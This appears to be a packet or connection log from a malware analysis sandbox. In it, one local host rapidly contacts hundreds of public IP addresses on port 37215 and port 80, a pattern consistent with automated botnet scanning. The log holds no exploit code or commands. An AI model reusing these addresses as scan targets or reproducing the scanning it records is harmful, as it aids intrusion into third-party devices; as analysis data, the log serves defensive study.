Oct 17, 2024 02:19:41.054358006 CEST	80	20646	161.190.100.158	192.168.2.14
Oct 17, 2024 02:19:41.054363966 CEST	20644	37215	192.168.2.14	41.125.31.107
Oct 17, 2024 02:19:41.054363966 CEST	20646	80	192.168.2.14	74.67.187.229
Oct 17, 2024 02:19:41.054368019 CEST	20644	37215	192.168.2.14	41.102.203.154
Oct 17, 2024 02:19:41.054389954 CEST	80	20646	81.233.179.204	192.168.2.14
Oct 17, 2024 02:19:41.054404020 CEST	20644	37215	192.168.2.14	197.130.159.152
Oct 17, 2024 02:19:41.054404020 CEST	20646	80	192.168.2.14	161.190.100.158
Oct 17, 2024 02:19:41.054404974 CEST	20644	37215	192.168.2.14	197.182.193.48
Oct 17, 2024 02:19:41.054404020 CEST	20644	37215	192.168.2.14	197.233.230.231
Oct 17, 2024 02:19:41.054421902 CEST	80	20646	167.108.226.109	192.168.2.14
Oct 17, 2024 02:19:41.054430008 CEST	20644	37215	192.168.2.14	41.146.94.96
Oct 17, 2024 02:19:41.054435015 CEST	20644	37215	192.168.2.14	156.130.38.80
Oct 17, 2024 02:19:41.054440975 CEST	20646	80	192.168.2.14	81.233.179.204
Oct 17, 2024 02:19:41.054440975 CEST	20644	37215	192.168.2.14	156.158.100.93
Oct 17, 2024 02:19:41.054450989 CEST	80	20646	107.1.240.122	192.168.2.14
Oct 17, 2024 02:19:41.054455042 CEST	20646	80	192.168.2.14	167.108.226.109
Oct 17, 2024 02:19:41.054457903 CEST	20644	37215	192.168.2.14	156.210.142.196
Oct 17, 2024 02:19:41.054471016 CEST	20644	37215	192.168.2.14	41.23.33.34
Oct 17, 2024 02:19:41.054471016 CEST	20644	37215	192.168.2.14	197.36.206.50
Oct 17, 2024 02:19:41.054472923 CEST	20644	37215	192.168.2.14	156.224.61.59
Oct 17, 2024 02:19:41.054480076 CEST	80	20646	113.131.128.239	192.168.2.14
Oct 17, 2024 02:19:41.054483891 CEST	20644	37215	192.168.2.14	197.153.89.197
Oct 17, 2024 02:19:41.054493904 CEST	20644	37215	192.168.2.14	197.111.176.34
Oct 17, 2024 02:19:41.054493904 CEST	20646	80	192.168.2.14	107.1.240.122
Oct 17, 2024 02:19:41.054503918 CEST	20644	37215	192.168.2.14	156.228.182.173
Oct 17, 2024 02:19:41.054507017 CEST	20644	37215	192.168.2.14	197.216.228.207
Oct 17, 2024 02:19:41.054507017 CEST	20644	37215	192.168.2.14	156.69.8.0
Oct 17, 2024 02:19:41.054510117 CEST	80	20646	109.3.101.144	192.168.2.14
Oct 17, 2024 02:19:41.054514885 CEST	20644	37215	192.168.2.14	156.243.178.7
Oct 17, 2024 02:19:41.054521084 CEST	20646	80	192.168.2.14	113.131.128.239
Oct 17, 2024 02:19:41.054539919 CEST	80	20646	183.246.247.40	192.168.2.14
Oct 17, 2024 02:19:41.054541111 CEST	20644	37215	192.168.2.14	41.158.128.192
Oct 17, 2024 02:19:41.054562092 CEST	20646	80	192.168.2.14	109.3.101.144
Oct 17, 2024 02:19:41.054583073 CEST	20644	37215	192.168.2.14	197.151.100.246
Oct 17, 2024 02:19:41.054586887 CEST	20646	80	192.168.2.14	183.246.247.40
Oct 17, 2024 02:19:41.054589033 CEST	20644	37215	192.168.2.14	41.23.92.152
Oct 17, 2024 02:19:41.054590940 CEST	80	20646	51.120.245.105	192.168.2.14
Oct 17, 2024 02:19:41.054595947 CEST	20644	37215	192.168.2.14	41.70.159.187
Oct 17, 2024 02:19:41.054631948 CEST	80	20646	199.58.61.188	192.168.2.14
Oct 17, 2024 02:19:41.054636002 CEST	20646	80	192.168.2.14	51.120.245.105
Oct 17, 2024 02:19:41.054636955 CEST	20644	37215	192.168.2.14	41.102.78.212
Oct 17, 2024 02:19:41.054660082 CEST	20644	37215	192.168.2.14	156.40.162.205
Oct 17, 2024 02:19:41.054661036 CEST	20644	37215	192.168.2.14	41.217.22.123
Oct 17, 2024 02:19:41.054661036 CEST	20644	37215	192.168.2.14	41.132.10.240
Oct 17, 2024 02:19:41.054661989 CEST	80	20646	211.32.135.155	192.168.2.14
Oct 17, 2024 02:19:41.054671049 CEST	20646	80	192.168.2.14	199.58.61.188
Oct 17, 2024 02:19:41.054682970 CEST	20644	37215	192.168.2.14	197.108.80.199
Oct 17, 2024 02:19:41.054683924 CEST	20644	37215	192.168.2.14	197.167.213.135
Oct 17, 2024 02:19:41.054692984 CEST	80	20646	42.206.232.18	192.168.2.14
Oct 17, 2024 02:19:41.054694891 CEST	20646	80	192.168.2.14	211.32.135.155
Oct 17, 2024 02:19:41.054721117 CEST	80	20646	25.246.143.164	192.168.2.14
Oct 17, 2024 02:19:41.054752111 CEST	80	20646	40.163.231.225	192.168.2.14
Oct 17, 2024 02:19:41.054764032 CEST	20646	80	192.168.2.14	42.206.232.18
Oct 17, 2024 02:19:41.054764032 CEST	20646	80	192.168.2.14	25.246.143.164
Oct 17, 2024 02:19:41.054781914 CEST	80	20646	19.54.4.167	192.168.2.14
Oct 17, 2024 02:19:41.054784060 CEST	20644	37215	192.168.2.14	156.42.18.17
Oct 17, 2024 02:19:41.054785013 CEST	20644	37215	192.168.2.14	41.231.130.210
Oct 17, 2024 02:19:41.054788113 CEST	20644	37215	192.168.2.14	41.32.14.252
Oct 17, 2024 02:19:41.054788113 CEST	20644	37215	192.168.2.14	41.249.70.37
Oct 17, 2024 02:19:41.054811954 CEST	80	20646	74.67.219.248	192.168.2.14
Oct 17, 2024 02:19:41.054815054 CEST	20646	80	192.168.2.14	40.163.231.225
Oct 17, 2024 02:19:41.054816008 CEST	20644	37215	192.168.2.14	41.67.208.122
Oct 17, 2024 02:19:41.054828882 CEST	20644	37215	192.168.2.14	197.159.26.158
Oct 17, 2024 02:19:41.054841995 CEST	80	20646	162.199.39.69	192.168.2.14
Oct 17, 2024 02:19:41.054847002 CEST	20646	80	192.168.2.14	19.54.4.167
Oct 17, 2024 02:19:41.054857016 CEST	20646	80	192.168.2.14	74.67.219.248
Oct 17, 2024 02:19:41.054872036 CEST	20644	37215	192.168.2.14	197.233.34.205
Oct 17, 2024 02:19:41.054872036 CEST	80	20646	194.17.79.67	192.168.2.14
Oct 17, 2024 02:19:41.054873943 CEST	20644	37215	192.168.2.14	156.11.104.107
Oct 17, 2024 02:19:41.054891109 CEST	20646	80	192.168.2.14	162.199.39.69
Oct 17, 2024 02:19:41.054903030 CEST	80	20646	82.235.166.47	192.168.2.14
Oct 17, 2024 02:19:41.054929018 CEST	20646	80	192.168.2.14	194.17.79.67
Oct 17, 2024 02:19:41.054932117 CEST	80	20646	58.167.14.24	192.168.2.14
Oct 17, 2024 02:19:41.054934978 CEST	20644	37215	192.168.2.14	156.229.244.150
Oct 17, 2024 02:19:41.054934978 CEST	20644	37215	192.168.2.14	41.159.173.9
Oct 17, 2024 02:19:41.054934978 CEST	20644	37215	192.168.2.14	41.58.143.232
Oct 17, 2024 02:19:41.054934978 CEST	20644	37215	192.168.2.14	41.174.5.246
Oct 17, 2024 02:19:41.054939032 CEST	20644	37215	192.168.2.14	156.222.139.12
Oct 17, 2024 02:19:41.054960966 CEST	80	20646	198.157.80.7	192.168.2.14
Oct 17, 2024 02:19:41.054971933 CEST	20646	80	192.168.2.14	82.235.166.47
Oct 17, 2024 02:19:41.054982901 CEST	20646	80	192.168.2.14	58.167.14.24
Oct 17, 2024 02:19:41.054982901 CEST	20644	37215	192.168.2.14	197.61.234.163
Oct 17, 2024 02:19:41.054986954 CEST	20644	37215	192.168.2.14	156.148.175.0
Oct 17, 2024 02:19:41.054991007 CEST	20644	37215	192.168.2.14	41.89.192.253
Oct 17, 2024 02:19:41.054991007 CEST	80	20646	189.109.155.141	192.168.2.14
Oct 17, 2024 02:19:41.055001020 CEST	20644	37215	192.168.2.14	197.67.55.160
Oct 17, 2024 02:19:41.055001020 CEST	20644	37215	192.168.2.14	156.211.41.245
Oct 17, 2024 02:19:41.055007935 CEST	20646	80	192.168.2.14	198.157.80.7
Oct 17, 2024 02:19:41.055022955 CEST	80	20646	68.163.107.76	192.168.2.14
Oct 17, 2024 02:19:41.055037975 CEST	20644	37215	192.168.2.14	156.250.16.160
Oct 17, 2024 02:19:41.055037975 CEST	20644	37215	192.168.2.14	156.106.39.28
Oct 17, 2024 02:19:41.055042982 CEST	20646	80	192.168.2.14	189.109.155.141
Oct 17, 2024 02:19:41.055043936 CEST	20644	37215	192.168.2.14	156.81.108.1
Oct 17, 2024 02:19:41.055052042 CEST	80	20646	184.217.214.154	192.168.2.14
Oct 17, 2024 02:19:41.055059910 CEST	20646	80	192.168.2.14	68.163.107.76
Oct 17, 2024 02:19:41.055083036 CEST	80	20646	43.33.41.156	192.168.2.14
Oct 17, 2024 02:19:41.055083036 CEST	20644	37215	192.168.2.14	156.160.243.72
Oct 17, 2024 02:19:41.055083036 CEST	20644	37215	192.168.2.14	41.212.199.44
Oct 17, 2024 02:19:41.055088997 CEST	20644	37215	192.168.2.14	41.97.224.74
Oct 17, 2024 02:19:41.055113077 CEST	80	20646	9.51.20.138	192.168.2.14
Oct 17, 2024 02:19:41.055114031 CEST	20644	37215	192.168.2.14	41.105.211.223
Oct 17, 2024 02:19:41.055115938 CEST	20646	80	192.168.2.14	184.217.214.154
Oct 17, 2024 02:19:41.055124044 CEST	20644	37215	192.168.2.14	156.91.159.119
Oct 17, 2024 02:19:41.055124044 CEST	20644	37215	192.168.2.14	41.82.9.158
Oct 17, 2024 02:19:41.055138111 CEST	20644	37215	192.168.2.14	156.229.117.78
Oct 17, 2024 02:19:41.055139065 CEST	20646	80	192.168.2.14	43.33.41.156
Oct 17, 2024 02:19:41.055139065 CEST	20644	37215	192.168.2.14	197.3.88.249
Oct 17, 2024 02:19:41.055144072 CEST	80	20646	44.4.71.224	192.168.2.14
Oct 17, 2024 02:19:41.055155993 CEST	20646	80	192.168.2.14	9.51.20.138
Oct 17, 2024 02:19:41.055174112 CEST	80	20646	148.160.121.19	192.168.2.14
Oct 17, 2024 02:19:41.055197001 CEST	20644	37215	192.168.2.14	156.66.126.47
Oct 17, 2024 02:19:41.055197001 CEST	20644	37215	192.168.2.14	41.25.183.201
Oct 17, 2024 02:19:41.055202007 CEST	80	20646	58.47.151.156	192.168.2.14
Oct 17, 2024 02:19:41.055202007 CEST	20646	80	192.168.2.14	44.4.71.224
Oct 17, 2024 02:19:41.055202007 CEST	20644	37215	192.168.2.14	41.240.174.103
Oct 17, 2024 02:19:41.055202007 CEST	20644	37215	192.168.2.14	41.14.98.49
Oct 17, 2024 02:19:41.055202007 CEST	20646	80	192.168.2.14	148.160.121.19
Oct 17, 2024 02:19:41.055208921 CEST	20644	37215	192.168.2.14	156.158.186.253
Oct 17, 2024 02:19:41.055208921 CEST	20644	37215	192.168.2.14	41.74.170.248
Oct 17, 2024 02:19:41.055231094 CEST	80	20646	54.37.5.77	192.168.2.14
Oct 17, 2024 02:19:41.055237055 CEST	20644	37215	192.168.2.14	156.35.219.54
Oct 17, 2024 02:19:41.055257082 CEST	20646	80	192.168.2.14	58.47.151.156
Oct 17, 2024 02:19:41.055257082 CEST	20644	37215	192.168.2.14	156.214.27.37
Oct 17, 2024 02:19:41.055260897 CEST	80	20646	45.156.214.179	192.168.2.14
Oct 17, 2024 02:19:41.055262089 CEST	20644	37215	192.168.2.14	197.80.146.14
Oct 17, 2024 02:19:41.055262089 CEST	20644	37215	192.168.2.14	41.229.139.194
Oct 17, 2024 02:19:41.055262089 CEST	20644	37215	192.168.2.14	156.66.118.45
Oct 17, 2024 02:19:41.055269957 CEST	20646	80	192.168.2.14	54.37.5.77
Oct 17, 2024 02:19:41.055274010 CEST	20644	37215	192.168.2.14	156.8.0.159
Oct 17, 2024 02:19:41.055294037 CEST	20646	80	192.168.2.14	45.156.214.179
Oct 17, 2024 02:19:41.055301905 CEST	20644	37215	192.168.2.14	197.48.103.235
Oct 17, 2024 02:19:41.055311918 CEST	20644	37215	192.168.2.14	197.74.5.190
Oct 17, 2024 02:19:41.055314064 CEST	80	20646	12.231.41.25	192.168.2.14
Oct 17, 2024 02:19:41.055313110 CEST	20644	37215	192.168.2.14	197.103.162.180
Oct 17, 2024 02:19:41.055316925 CEST	20644	37215	192.168.2.14	156.59.108.206
Oct 17, 2024 02:19:41.055330038 CEST	20644	37215	192.168.2.14	156.20.235.74
Oct 17, 2024 02:19:41.055351973 CEST	80	20646	88.108.111.96	192.168.2.14
Oct 17, 2024 02:19:41.055361986 CEST	20644	37215	192.168.2.14	156.187.4.61
Oct 17, 2024 02:19:41.055366039 CEST	20646	80	192.168.2.14	12.231.41.25
Oct 17, 2024 02:19:41.055366039 CEST	20644	37215	192.168.2.14	197.7.156.242
Oct 17, 2024 02:19:41.055371046 CEST	20644	37215	192.168.2.14	41.48.209.80
Oct 17, 2024 02:19:41.055389881 CEST	20644	37215	192.168.2.14	41.158.7.58
Oct 17, 2024 02:19:41.055401087 CEST	20644	37215	192.168.2.14	197.137.107.247
Oct 17, 2024 02:19:41.055402040 CEST	20644	37215	192.168.2.14	41.9.224.55
Oct 17, 2024 02:19:41.055403948 CEST	80	20646	35.158.189.100	192.168.2.14
Oct 17, 2024 02:19:41.055414915 CEST	20644	37215	192.168.2.14	156.225.19.26
Oct 17, 2024 02:19:41.055414915 CEST	20644	37215	192.168.2.14	197.42.154.97
Oct 17, 2024 02:19:41.055417061 CEST	20644	37215	192.168.2.14	41.216.249.32
Oct 17, 2024 02:19:41.055414915 CEST	20644	37215	192.168.2.14	156.211.38.1
Oct 17, 2024 02:19:41.055430889 CEST	20646	80	192.168.2.14	88.108.111.96
Oct 17, 2024 02:19:41.055430889 CEST	20644	37215	192.168.2.14	156.53.140.185
Oct 17, 2024 02:19:41.055433035 CEST	20644	37215	192.168.2.14	41.49.253.170
Oct 17, 2024 02:19:41.055434942 CEST	20644	37215	192.168.2.14	41.222.25.224
Oct 17, 2024 02:19:41.055442095 CEST	20644	37215	192.168.2.14	197.202.12.112
Oct 17, 2024 02:19:41.055445910 CEST	20646	80	192.168.2.14	35.158.189.100
Oct 17, 2024 02:19:41.055449963 CEST	20644	37215	192.168.2.14	41.108.209.179
Oct 17, 2024 02:19:41.055453062 CEST	80	20646	9.195.111.182	192.168.2.14
Oct 17, 2024 02:19:41.055454016 CEST	20644	37215	192.168.2.14	41.70.217.138
Oct 17, 2024 02:19:41.055454016 CEST	20644	37215	192.168.2.14	156.50.127.146
Oct 17, 2024 02:19:41.055459023 CEST	20644	37215	192.168.2.14	41.226.199.103
Oct 17, 2024 02:19:41.055459023 CEST	20644	37215	192.168.2.14	197.34.112.132
Oct 17, 2024 02:19:41.055474043 CEST	20644	37215	192.168.2.14	197.253.36.239
Oct 17, 2024 02:19:41.055474043 CEST	20644	37215	192.168.2.14	41.181.48.226
Oct 17, 2024 02:19:41.055485964 CEST	80	20646	163.159.167.24	192.168.2.14
Oct 17, 2024 02:19:41.055488110 CEST	20644	37215	192.168.2.14	197.42.65.244
Oct 17, 2024 02:19:41.055497885 CEST	20644	37215	192.168.2.14	156.221.158.76
Oct 17, 2024 02:19:41.055499077 CEST	20646	80	192.168.2.14	9.195.111.182
Oct 17, 2024 02:19:41.055516005 CEST	80	20646	188.1.234.56	192.168.2.14
Oct 17, 2024 02:19:41.055536032 CEST	20646	80	192.168.2.14	163.159.167.24
Oct 17, 2024 02:19:41.055546999 CEST	80	20646	2.28.171.8	192.168.2.14
Oct 17, 2024 02:19:41.055547953 CEST	20644	37215	192.168.2.14	156.220.37.13
Oct 17, 2024 02:19:41.055551052 CEST	20644	37215	192.168.2.14	197.61.247.104
Oct 17, 2024 02:19:41.055552006 CEST	20644	37215	192.168.2.14	156.187.253.20
Oct 17, 2024 02:19:41.055558920 CEST	20644	37215	192.168.2.14	41.233.212.51
Oct 17, 2024 02:19:41.055569887 CEST	20644	37215	192.168.2.14	41.66.252.94
Oct 17, 2024 02:19:41.055571079 CEST	20646	80	192.168.2.14	188.1.234.56
Oct 17, 2024 02:19:41.055577040 CEST	80	20646	102.79.203.69	192.168.2.14
Oct 17, 2024 02:19:41.055577040 CEST	20644	37215	192.168.2.14	156.21.216.57
Oct 17, 2024 02:19:41.055578947 CEST	20644	37215	192.168.2.14	156.82.16.200
Oct 17, 2024 02:19:41.055587053 CEST	20644	37215	192.168.2.14	197.91.13.215
Oct 17, 2024 02:19:41.055588007 CEST	20644	37215	192.168.2.14	156.107.220.177
Oct 17, 2024 02:19:41.055596113 CEST	20646	80	192.168.2.14	2.28.171.8
Oct 17, 2024 02:19:41.055596113 CEST	20644	37215	192.168.2.14	197.251.236.170
Oct 17, 2024 02:19:41.055596113 CEST	20644	37215	192.168.2.14	41.52.158.130
Oct 17, 2024 02:19:41.055605888 CEST	20644	37215	192.168.2.14	156.196.169.177
Oct 17, 2024 02:19:41.055607080 CEST	80	20646	196.143.141.50	192.168.2.14
Oct 17, 2024 02:19:41.055624008 CEST	20644	37215	192.168.2.14	197.167.97.109
Oct 17, 2024 02:19:41.055625916 CEST	20646	80	192.168.2.14	102.79.203.69
Oct 17, 2024 02:19:41.055625916 CEST	20644	37215	192.168.2.14	41.30.174.117
Oct 17, 2024 02:19:41.055625916 CEST	20644	37215	192.168.2.14	156.254.209.251
Oct 17, 2024 02:19:41.055625916 CEST	20644	37215	192.168.2.14	41.130.126.58
Oct 17, 2024 02:19:41.055634975 CEST	80	20646	4.85.72.120	192.168.2.14
Oct 17, 2024 02:19:41.055661917 CEST	20644	37215	192.168.2.14	41.19.23.201
Oct 17, 2024 02:19:41.055661917 CEST	20646	80	192.168.2.14	196.143.141.50
Oct 17, 2024 02:19:41.055661917 CEST	20644	37215	192.168.2.14	41.252.236.8
Oct 17, 2024 02:19:41.055665016 CEST	80	20646	195.131.43.114	192.168.2.14
Oct 17, 2024 02:19:41.055677891 CEST	20644	37215	192.168.2.14	156.227.45.78
Oct 17, 2024 02:19:41.055694103 CEST	20644	37215	192.168.2.14	197.75.230.149
Oct 17, 2024 02:19:41.055696964 CEST	80	20646	116.113.23.164	192.168.2.14
Oct 17, 2024 02:19:41.055701971 CEST	20646	80	192.168.2.14	4.85.72.120
Oct 17, 2024 02:19:41.055701971 CEST	20646	80	192.168.2.14	195.131.43.114
Oct 17, 2024 02:19:41.055726051 CEST	80	20646	200.210.230.243	192.168.2.14
Oct 17, 2024 02:19:41.055732965 CEST	20644	37215	192.168.2.14	41.147.231.166
Oct 17, 2024 02:19:41.055733919 CEST	20646	80	192.168.2.14	116.113.23.164
Oct 17, 2024 02:19:41.055733919 CEST	20644	37215	192.168.2.14	41.4.146.210
Oct 17, 2024 02:19:41.055756092 CEST	80	20646	41.174.122.249	192.168.2.14
Oct 17, 2024 02:19:41.055784941 CEST	80	20646	96.140.7.196	192.168.2.14
Oct 17, 2024 02:19:41.055793047 CEST	20646	80	192.168.2.14	200.210.230.243
Oct 17, 2024 02:19:41.055797100 CEST	20644	37215	192.168.2.14	156.83.9.230
Oct 17, 2024 02:19:41.055797100 CEST	20644	37215	192.168.2.14	41.108.234.87
Oct 17, 2024 02:19:41.055798054 CEST	20646	80	192.168.2.14	41.174.122.249
Oct 17, 2024 02:19:41.055797100 CEST	20644	37215	192.168.2.14	156.215.137.184
Oct 17, 2024 02:19:41.055797100 CEST	20644	37215	192.168.2.14	156.219.176.62
Oct 17, 2024 02:19:41.055814981 CEST	80	20646	112.80.96.101	192.168.2.14
Oct 17, 2024 02:19:41.055844069 CEST	80	20646	41.109.191.215	192.168.2.14
Oct 17, 2024 02:19:41.055845022 CEST	20646	80	192.168.2.14	96.140.7.196
Oct 17, 2024 02:19:41.055845022 CEST	20644	37215	192.168.2.14	41.29.102.230
Oct 17, 2024 02:19:41.055847883 CEST	20644	37215	192.168.2.14	197.128.232.182
Oct 17, 2024 02:19:41.055847883 CEST	20644	37215	192.168.2.14	197.77.141.197
Oct 17, 2024 02:19:41.055872917 CEST	80	20646	40.9.25.118	192.168.2.14
Oct 17, 2024 02:19:41.055886984 CEST	20646	80	192.168.2.14	41.109.191.215
Oct 17, 2024 02:19:41.055902004 CEST	80	20646	159.51.201.141	192.168.2.14
Oct 17, 2024 02:19:41.055927992 CEST	20644	37215	192.168.2.14	156.36.78.206
Oct 17, 2024 02:19:41.055927992 CEST	20644	37215	192.168.2.14	41.241.0.143
Oct 17, 2024 02:19:41.055932045 CEST	80	20646	65.137.102.184	192.168.2.14
Oct 17, 2024 02:19:41.055933952 CEST	20644	37215	192.168.2.14	156.67.10.138
Oct 17, 2024 02:19:41.055937052 CEST	20646	80	192.168.2.14	112.80.96.101
Oct 17, 2024 02:19:41.055943012 CEST	20646	80	192.168.2.14	40.9.25.118
Oct 17, 2024 02:19:41.055944920 CEST	20644	37215	192.168.2.14	41.108.18.107
Oct 17, 2024 02:19:41.055944920 CEST	20646	80	192.168.2.14	159.51.201.141
Oct 17, 2024 02:19:41.055948973 CEST	20644	37215	192.168.2.14	41.154.136.120
Oct 17, 2024 02:19:41.055953979 CEST	20644	37215	192.168.2.14	197.78.47.248
Oct 17, 2024 02:19:41.055962086 CEST	80	20646	81.77.137.15	192.168.2.14
Oct 17, 2024 02:19:41.055974960 CEST	20644	37215	192.168.2.14	197.18.200.152
Oct 17, 2024 02:19:41.055985928 CEST	20644	37215	192.168.2.14	156.162.153.5
Oct 17, 2024 02:19:41.055985928 CEST	20646	80	192.168.2.14	65.137.102.184
Oct 17, 2024 02:19:41.055990934 CEST	80	20646	200.54.169.191	192.168.2.14
Oct 17, 2024 02:19:41.056000948 CEST	20644	37215	192.168.2.14	41.248.114.237
Oct 17, 2024 02:19:41.056005955 CEST	20644	37215	192.168.2.14	41.140.60.225
Oct 17, 2024 02:19:41.056019068 CEST	80	20646	92.209.188.207	192.168.2.14
Oct 17, 2024 02:19:41.056042910 CEST	20646	80	192.168.2.14	81.77.137.15
Oct 17, 2024 02:19:41.056042910 CEST	20644	37215	192.168.2.14	197.157.68.16
Oct 17, 2024 02:19:41.056042910 CEST	20644	37215	192.168.2.14	41.33.227.235
Oct 17, 2024 02:19:41.056042910 CEST	20646	80	192.168.2.14	200.54.169.191
Oct 17, 2024 02:19:41.056042910 CEST	20644	37215	192.168.2.14	41.105.31.70
Oct 17, 2024 02:19:41.056052923 CEST	80	20646	63.216.31.205	192.168.2.14
Oct 17, 2024 02:19:41.056066036 CEST	20646	80	192.168.2.14	92.209.188.207
Oct 17, 2024 02:19:41.056098938 CEST	80	20646	122.51.118.213	192.168.2.14
Oct 17, 2024 02:19:41.056119919 CEST	20646	80	192.168.2.14	63.216.31.205
Oct 17, 2024 02:19:41.056128979 CEST	80	20646	133.96.121.141	192.168.2.14
Oct 17, 2024 02:19:41.056140900 CEST	20646	80	192.168.2.14	122.51.118.213
Oct 17, 2024 02:19:41.056140900 CEST	20644	37215	192.168.2.14	41.25.39.86
Oct 17, 2024 02:19:41.056149006 CEST	20644	37215	192.168.2.14	197.167.89.226
Oct 17, 2024 02:19:41.056160927 CEST	80	20646	187.156.103.4	192.168.2.14
Oct 17, 2024 02:19:41.056169033 CEST	20644	37215	192.168.2.14	197.190.157.186
Oct 17, 2024 02:19:41.056169987 CEST	20646	80	192.168.2.14	133.96.121.141
Oct 17, 2024 02:19:41.056169033 CEST	20644	37215	192.168.2.14	41.59.142.173
Oct 17, 2024 02:19:41.056180000 CEST	20644	37215	192.168.2.14	197.125.71.22
Oct 17, 2024 02:19:41.056190014 CEST	80	20646	182.252.55.253	192.168.2.14
Oct 17, 2024 02:19:41.056205988 CEST	20644	37215	192.168.2.14	197.243.195.90
Oct 17, 2024 02:19:41.056212902 CEST	20646	80	192.168.2.14	187.156.103.4
Oct 17, 2024 02:19:41.056219101 CEST	80	20646	122.206.15.209	192.168.2.14
Oct 17, 2024 02:19:41.056227922 CEST	20646	80	192.168.2.14	182.252.55.253
Oct 17, 2024 02:19:41.056247950 CEST	80	20646	199.3.189.19	192.168.2.14
Oct 17, 2024 02:19:41.056271076 CEST	20644	37215	192.168.2.14	156.136.27.184
Oct 17, 2024 02:19:41.056276083 CEST	80	20646	141.116.12.140	192.168.2.14
Oct 17, 2024 02:19:41.056291103 CEST	20646	80	192.168.2.14	122.206.15.209
Oct 17, 2024 02:19:41.056292057 CEST	20646	80	192.168.2.14	199.3.189.19
Oct 17, 2024 02:19:41.056293964 CEST	20644	37215	192.168.2.14	197.201.29.125
Oct 17, 2024 02:19:41.056293964 CEST	20644	37215	192.168.2.14	41.53.162.133
Oct 17, 2024 02:19:41.056293964 CEST	20644	37215	192.168.2.14	41.61.10.200
Oct 17, 2024 02:19:41.056304932 CEST	80	20646	120.79.43.126	192.168.2.14
Oct 17, 2024 02:19:41.056330919 CEST	20646	80	192.168.2.14	141.116.12.140
Oct 17, 2024 02:19:41.056334972 CEST	80	20646	187.44.68.184	192.168.2.14
Oct 17, 2024 02:19:41.056349993 CEST	20646	80	192.168.2.14	120.79.43.126
Oct 17, 2024 02:19:41.056365013 CEST	80	20646	68.239.200.65	192.168.2.14
Oct 17, 2024 02:19:41.056387901 CEST	20646	80	192.168.2.14	187.44.68.184
Oct 17, 2024 02:19:41.056394100 CEST	80	20646	199.194.253.204	192.168.2.14
Oct 17, 2024 02:19:41.056410074 CEST	20646	80	192.168.2.14	68.239.200.65
Oct 17, 2024 02:19:41.056422949 CEST	80	20646	100.197.104.147	192.168.2.14
Oct 17, 2024 02:19:41.056438923 CEST	20646	80	192.168.2.14	199.194.253.204
Oct 17, 2024 02:19:41.056454897 CEST	80	20646	95.157.67.78	192.168.2.14
Oct 17, 2024 02:19:41.056483984 CEST	80	20646	212.238.214.217	192.168.2.14
Oct 17, 2024 02:19:41.056497097 CEST	20646	80	192.168.2.14	100.197.104.147
Oct 17, 2024 02:19:41.056497097 CEST	20646	80	192.168.2.14	95.157.67.78
Oct 17, 2024 02:19:41.056513071 CEST	80	20646	46.14.170.169	192.168.2.14
Oct 17, 2024 02:19:41.056529999 CEST	20646	80	192.168.2.14	212.238.214.217
Oct 17, 2024 02:19:41.056541920 CEST	80	20646	40.221.35.148	192.168.2.14
Oct 17, 2024 02:19:41.056566000 CEST	20646	80	192.168.2.14	46.14.170.169
Oct 17, 2024 02:19:41.056571007 CEST	80	20646	166.126.97.141	192.168.2.14
Oct 17, 2024 02:19:41.056583881 CEST	20646	80	192.168.2.14	40.221.35.148
Oct 17, 2024 02:19:41.056600094 CEST	80	20646	167.63.232.97	192.168.2.14
Oct 17, 2024 02:19:41.056615114 CEST	20646	80	192.168.2.14	166.126.97.141
Oct 17, 2024 02:19:41.056628942 CEST	20644	37215	192.168.2.14	156.45.20.38
Oct 17, 2024 02:19:41.056628942 CEST	80	20646	117.30.0.143	192.168.2.14
Oct 17, 2024 02:19:41.056636095 CEST	20644	37215	192.168.2.14	156.196.4.63
Oct 17, 2024 02:19:41.056637049 CEST	20644	37215	192.168.2.14	41.98.57.45
Oct 17, 2024 02:19:41.056642056 CEST	20644	37215	192.168.2.14	197.142.233.40
Oct 17, 2024 02:19:41.056658030 CEST	80	20646	183.120.126.164	192.168.2.14
Oct 17, 2024 02:19:41.056660891 CEST	20646	80	192.168.2.14	167.63.232.97
Oct 17, 2024 02:19:41.056660891 CEST	20644	37215	192.168.2.14	156.20.186.166
Oct 17, 2024 02:19:41.056667089 CEST	20646	80	192.168.2.14	117.30.0.143
Oct 17, 2024 02:19:41.056673050 CEST	20644	37215	192.168.2.14	197.238.119.64
Oct 17, 2024 02:19:41.056682110 CEST	20644	37215	192.168.2.14	197.152.138.101
Oct 17, 2024 02:19:41.056683064 CEST	20644	37215	192.168.2.14	41.187.77.180
Oct 17, 2024 02:19:41.056687117 CEST	80	20646	125.28.152.28	192.168.2.14
Oct 17, 2024 02:19:41.056704044 CEST	20646	80	192.168.2.14	183.120.126.164
Oct 17, 2024 02:19:41.056715012 CEST	80	20646	155.19.151.250	192.168.2.14
Oct 17, 2024 02:19:41.056724072 CEST	20646	80	192.168.2.14	125.28.152.28
Oct 17, 2024 02:19:41.056724072 CEST	20644	37215	192.168.2.14	41.208.96.182
Oct 17, 2024 02:19:41.056745052 CEST	80	20646	105.104.226.37	192.168.2.14
Oct 17, 2024 02:19:41.056747913 CEST	20644	37215	192.168.2.14	197.46.80.116
Oct 17, 2024 02:19:41.056747913 CEST	20644	37215	192.168.2.14	41.167.39.254
Oct 17, 2024 02:19:41.056751013 CEST	20646	80	192.168.2.14	155.19.151.250
Oct 17, 2024 02:19:41.056778908 CEST	80	20646	60.173.192.62	192.168.2.14
Oct 17, 2024 02:19:41.056787014 CEST	20646	80	192.168.2.14	105.104.226.37
Oct 17, 2024 02:19:41.056804895 CEST	20644	37215	192.168.2.14	197.111.212.103
Oct 17, 2024 02:19:41.056807995 CEST	80	20646	209.108.20.148	192.168.2.14
Oct 17, 2024 02:19:41.056812048 CEST	20644	37215	192.168.2.14	41.104.152.11
Oct 17, 2024 02:19:41.056804895 CEST	20644	37215	192.168.2.14	41.167.85.71
Oct 17, 2024 02:19:41.056822062 CEST	20646	80	192.168.2.14	60.173.192.62
Oct 17, 2024 02:19:41.056804895 CEST	20644	37215	192.168.2.14	156.105.45.222
Oct 17, 2024 02:19:41.056838036 CEST	80	20646	207.13.2.222	192.168.2.14
Oct 17, 2024 02:19:41.056850910 CEST	20644	37215	192.168.2.14	41.157.56.29
Oct 17, 2024 02:19:41.056852102 CEST	20644	37215	192.168.2.14	197.130.19.23
Oct 17, 2024 02:19:41.056859970 CEST	20646	80	192.168.2.14	209.108.20.148
Oct 17, 2024 02:19:41.056860924 CEST	20644	37215	192.168.2.14	197.133.19.220
Oct 17, 2024 02:19:41.056862116 CEST	20644	37215	192.168.2.14	156.68.97.235
Oct 17, 2024 02:19:41.056866884 CEST	80	20646	168.194.198.88	192.168.2.14
